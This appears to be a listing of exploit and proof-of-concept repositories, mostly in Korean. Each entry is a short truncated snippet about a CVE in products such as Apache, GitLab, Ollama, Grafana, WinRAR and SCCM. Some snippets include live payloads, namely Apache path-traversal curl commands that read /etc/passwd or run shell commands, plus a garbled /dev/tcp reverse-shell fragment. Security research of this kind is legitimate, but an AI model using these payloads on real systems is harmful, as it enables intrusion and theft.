cve-2021-41773

cve-2021-41773 CVE-2021-41773 Apache 2.4.49의 경로 탐색 취약점 RCE POC 개념 증명 페이로드 curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh 팔로우하기 Vulnmachines YouTube Twitter Facebook LinkedIn...

CVE-2026-85706

CVE-2026-85706 — GitLab Unauthenticated Arbitrary File Read For authorized penetration testing and Red Team operations only. Unauthorized use constitutes a criminal offense. See Legal Notice. Overview CVE-2026-85706 is a CVSS 10.0 path traversal vulnerability in GitLab Community and Enterprise...

CVE-2024-37032-PoC

CVE-2024-37032 Probllama PoC — Ollama 경로 탐색 및 권한 상승 이 저장소에는 승인된 랩 테스트를 위한 개념 증명PoC FastAPI 레지스트리 서버, 커넥터 스크립트 및 프리로드 데모 라이브러리가 포함되어 있습니다. 소유한 시스템 또는 명시적으로 테스트가 허용된 시스템에서만 사용하십시오. Files server.py: FastAPI PoC 서버를 시작합니다. rogueserver/config.py: PoC 서버의 중앙 구성입니다. connector.py: 대상 Ollama API에 pull/pus...

CVE-2026-29519-Lucee-Reflected-XSS

CVE-2026-29519-Lucee-Reflected-XSS Lucee CFML의 반사형 XSSCVE-2026-29519에 대한 개념 증명PoC 프레임워크 0-Day: Lucee CFML URL 파싱의 반사형 XSS, 엔터프라이즈 배포 환경에 영향 버전 5.3.1.95 7.x 발견자: Fouad Milat lavado 발견일: 2025년 12월 6일 CVE: CVE-2026-29519 공급업체: Lucee Association 제품: Lucee CFML Server 영향을 받는 버전: 5.3.1.95부터 7.0.0.395 및...

CVE-2024-27198-SOC-Lab

CVE-2024-27198 — SOC 탐지 및 침해 대응 연구실 JetBrains TeamCity의 인증 우회 | CVSS 점수: 9.8 심각 이 프로젝트는 CVE-2024-27198경로 혼란 기법을 이용한 JetBrains TeamCity 2023.11.3의 인증 우회 취약점을 시뮬레이션, 탐지 및 대응하기 위한 완전한 SOC 연구실 환경을 구축합니다. 연구실 구성 구성 요소| 기술| 포트 ---|---|--- 피해자 서버| TeamCity 2023.11.3 Docker| :8111 데이터베이스| PostgreSQL 15...

CVE-2019-19781-Checker

CVE-2019-19781-Checker CVE-2019-19781 취약점이 있는지 웹사이트를 확인하세요 VISIT https://citrix-checker.com CVE-2019-19781 취약 여부를 확인하려면 방문하세요 확실히 하려면 저희 체커를 두 번 사용하세요 이 웹사이트는 사용자의 서비스가 CVE-2019-19781에 취약한지 여부에 대한 결과를 제공합니다. 영구적인 수정이 나올 때까지 이 문제를 완화하기 위한 responder 정책이 있습니다. 수정 사항을 적용하려면 콘솔에 로그인하거나 putty로 접속하여...

CVE-2018-20250-WinRAR-ACE

CVE-2018-20250-WinRAR-ACE WinRAR ACE 파일 추출 경로CVE-2018-20250를 악용하는 C 개념 증명 코드입니다. 리소스 https://research.checkpoint.com/extracting-code-execution-from-winrar/ https://github.com/droe/acefile https://apidoc.roe.ch/acefile/latest/ 종속성 체크섬 메서드를 위한 InvertedTomato.Crc NuGet으로 설치할 수 있습니다. 다른 JAMCRC 구현을 사용...

My-Exploits

My-Exploits Vulnerability research I have done on four widely deployed platform services: Keycloak, Apache NiFi, HashiCorp Vault and HashiCorp Nomad. For each finding this repo carries the write-once artifacts I actually use, a Metasploit module where it made sense, a standalone Python proof of...

CVE-2017-1000475

CVE-2017-1000475: Freesshd の引用符で囲まれていないサービスパス 概念実証 Windows 10 に freeSSHd 1.3.1 をデフォルトでインストールし、システムサービスとして実行するオプションを有効にした状態。 引用符で囲まれていないサービスパスを確認するコマンド。このサービスはデフォルトで引用符で囲まれていません。 プロセスはデフォルトで SYSTEM として実行されています。 MSFVenom を使用してリバースシェルを作成し、攻撃者に対する接続を確認します。実行ファイルを Program.exe にリネームし、攻撃者の IP...

CVE-2025-31486-Simulation

Vite パス横断ラボ CVE-2025-31486 Vite の開発サーバーにおけるパス横断脆弱性（CVE-2025-31486）をシミュレートし、実際に悪用するための実践的なコンテナ化ラボ環境です。 📖 脆弱性について このラボは、モダンなウェブ開発ビルドツールである Vite の旧バージョンに見られる深刻なパス横断脆弱性を実演します。この脆弱性により、攻撃者は Vite 開発サーバーのセキュリティ制約を回避し、ローカルファイルシステム上の任意のファイルを読み取ることが可能になります。 問題の核心は、Vite のアセットプラグインが URL を処理する方法にあります。?.svg や...

PoC-CVE-2021-41773

CVE-2021-41773 Apache HTTP Server 경로 탐색 익스플로잇 CVE-2021-41773의 Python 익스플로잇으로, Apache HTTP Server 2.4.49에서 서버의 임의 파일을 읽을 수 있게 하는 경로 탐색 취약점입니다. 취약점 세부 정보 CVE-2021-41773 은 Apache HTTP Server 2.4.49에서 사용자 제공 경로에 대한 부적절한 검증으로 인해 발생하는 경로 탐색 취약점입니다. 이 취약점을 통해 공격자는 URL 인코딩된 경로 탐색 시퀀스를 사용하여 문서 루트 외부의 파일을 ...

doctrack

Doctrack Office Open XML 문서를 조작하고 무기화하는 도구입니다. 기능 Office Open XML 문서 Word, Excel 생성 추적 픽셀 및 UNC 경로 삽입 원격 템플릿 삽입 CustomXML 부분 삽입 외부 대상 URL, 메타데이터 및 Custom XML 부분 검사 설치 .Net 6.0을 다운로드해야 합니다. 그런 다음 Windows에서 단일 바이너리를 빌드하려면: $ git clone https://github.com/wavvs/doctrack.git $ cd doctrack/ $ dotnet...

CVE-2019-5624

CVE-2019-5624 Metasploit의 CVE-2019-5624 취약점Rubyzip의 안전하지 않은 ZIP 처리로 인한 RCE에 대한 개념 증명 소개 2019년 2월, Rubyzip 라이브러리에서 새로운 취약점을 발견했습니다. 이 취약점으로 인해 공격자는 안전하지 않은 ZIP 처리를 Zip Slip 악용하여 원격 코드 실행이 가능합니다. 이 취약점은 모든 Metasploit 버전 &0 2&0 0/dev/tcp/172.16.13.144/4445; bash &196 2&196" 경로 탐색payload이 포함된 ZIP 아카이...

CVE-2024-32019_poc

ndsudo를 통한 권한 상승 Netdata 로컬 익스플로잇 이것은 Netdata에 번들로 제공되는 취약한 ndsudo 유틸리티를 이용하여 로컬 권한 상승을 수행하는 대체 PoC입니다. 익스플로잇은 사용자의 PATH에 스크립트를 추가하여 ndsudo가 허용하는 명령어nvme를 대체하고 루트로 실행되도록 합니다. 전제 조건 및 가정 📜 대상 시스템에 대한 로컬 셸 액세스 권한. 대상 머신에 Python3 설치 ndsudo 명령어를 실행할 수 있는 가능성. 단계 1. 스크립트 🔨 허용된 명령어 중 하나로 호출되는 한 스크립트를 대...

CVE-2018-11776

CVE-2018-11776 취약점이 있는 Docker 컨테이너 docker pull bhdresh/cve-2018-11776:1.0 docker run -dit -p :8080:8080 bhdresh/cve-2018-11776:1.0 PoC PoC - 1 Request : http://:8080/struts2-showcase-2.3.14/$333+333/help.action Result : http://:8080/struts2-showcase-2.3.14/666/help.action PoC - 2 Request :...

CVE-2023-49103

CVE-2023-49103 CVE-2023-49103용 PoC 개요 이 Python 스크립트는 대규모 URL 목록을 효율적으로 처리하여 phpinfo 출력이 존재하는지 확인하도록 설계되었습니다. 멀티스레딩을 사용하여 많은 수의 URL을 동시에 처리하므로 프로세스 속도가 크게 빨라집니다. 또한 이 스크립트는 진행 상황을 시각적으로 추적할 수 있는 실시간 진행률 표시줄을 제공합니다. 취약점을 트리거하려면 phpinfo URL에 접근하는 것만으로는 충분하지 않습니다. .htaccess도 우회해야 합니다통찰력을 제공한 rapid7에...

CVE-2025-49132

CVE-2025-49132 - Pterodactyl Panel 설정 정보 스캐너 도구 이 도구는 Pterodactyl 패널 인스턴스를 스캔하여 데이터베이스 구성 정보를 가져오려고 시도합니다. 특정 경로 탐색 취약점을 이용하여 패널의 민감한 구성 데이터를 얻을 수 있습니다. 프로젝트 개요 이 프로젝트는 공개 네트워크에 노출된 Pterodactyl 패널 인스턴스의 구성 정보를 감지하고 수집하기 위한 고성능 HTTP 요청 도구입니다. 대상 서버에 특정 요청을 보내고 응답에 데이터베이스 구성 정보가 포함되어 있는지 확인한 후 결과를...

SCCM-CVE-2026-47301-Remote-Code-Execution-Exploit

SCCM-CVE-2026-47301-원격 코드 실행 익스플로잇 Microsoft Configuration ManagerSCCM에 대해 제가 발견하여 CVE-2026-47301로 지정된 개념 증명Proof-of-concept 익스플로잇 체인으로, 접근 제어 위반broken access control, CAB 추출 경로 트래버설을 통한 임의 파일 쓰기, 인증서 검증 우회, 그리고 DLL 하이재킹을 결합하여 SYSTEM 수준의 코드 실행을 달성합니다. 사용 방법? 이 익스플로잇은 이 CVE를 악용하도록 특별히 제작된 악성 cab을...

CVE-2021-43798

CVE-2021-43798 Grafana 디렉토리 트래버설 Grafana 디렉토리 트래버설 익스플로잇용 간단한 프로그램 설치 gem install httparty gem install colorize gem install timeout ruby cve-2021-43798.rb...

CVE-2025-46822

CVE-2025-46822 인증되지 않은 절대 경로를 통한 임의 파일 읽기 설명: Path.resolve 메서드가 경로 탐색을 방지하기 위해 사용되고 있지만, 절대 경로를 사용하면 내부 파일을 성공적으로 읽을 수 있음을 발견했습니다. 또한 엔드포인트가 인증되지 않았으므로 누구나 조직의 전체 파일, 파일 시스템을 읽을 수 있습니다. 이는 application-dev.properties에 구성된 저장소 루트files.store.root = /file-store/에서의 접근을 허용하여 민감한 내부 파일에 대한 무단 접근을 가능하게...